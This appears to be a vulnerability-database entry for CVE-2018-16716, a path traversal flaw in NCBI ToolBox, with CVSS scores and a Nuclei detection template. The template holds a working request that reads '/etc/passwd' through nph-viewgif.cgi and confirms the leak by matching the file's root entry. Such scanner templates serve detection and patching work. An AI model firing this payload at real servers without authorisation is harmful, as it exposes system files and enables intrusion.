7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
9.2 High
AI Score
Confidence
High
0.004 Low
EPSS
Percentile
75.2%
NCBI ToolBox 2.0.7 through 2.2.26 legacy versions contain a path traversal vulnerability via viewcgi.cgi which may result in reading of arbitrary files (i.e., significant information disclosure) or file deletion via the nph-viewgif.cgi query string.
id: CVE-2018-16716
info:
name: NCBI ToolBox - Directory Traversal
author: 0x_Akoko
severity: critical
description: NCBI ToolBox 2.0.7 through 2.2.26 legacy versions contain a path traversal vulnerability via viewcgi.cgi which may result in reading of arbitrary files (i.e., significant information disclosure) or file deletion via the nph-viewgif.cgi query string.
impact: |
An attacker can view, modify, or delete sensitive files on the server, potentially leading to unauthorized access, data leakage, or system compromise.
remediation: |
Apply the latest patch or update from the vendor to fix the directory traversal vulnerability in the NCBI ToolBox.
reference:
- https://github.com/grymer/CVE/blob/master/CVE-2018-16716.md
- https://nvd.nist.gov/vuln/detail/CVE-2018-16716
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/grymer/CVE
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2018-16716
cwe-id: CWE-22
epss-score: 0.0045
epss-percentile: 0.75058
cpe: cpe:2.3:a:nih:ncbi_toolbox:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: nih
product: ncbi_toolbox
tags: cve,cve2018,ncbi,lfi,nih
http:
- method: GET
path:
- "{{BaseURL}}/blast/nph-viewgif.cgi?../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200
# digest: 4a0a00473045022100b54f467183de3b3a31a23eff25fa6b7e31a40b596318042dd4a50afc2466987b02201e7898d41a785ccdb33f9ead77fbcab180c3bc0dca2a626981f431882fed4cb9:922c64590222798bb761d5b6d8e72950
7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
9.2 High
AI Score
Confidence
High
0.004 Low
EPSS
Percentile
75.2%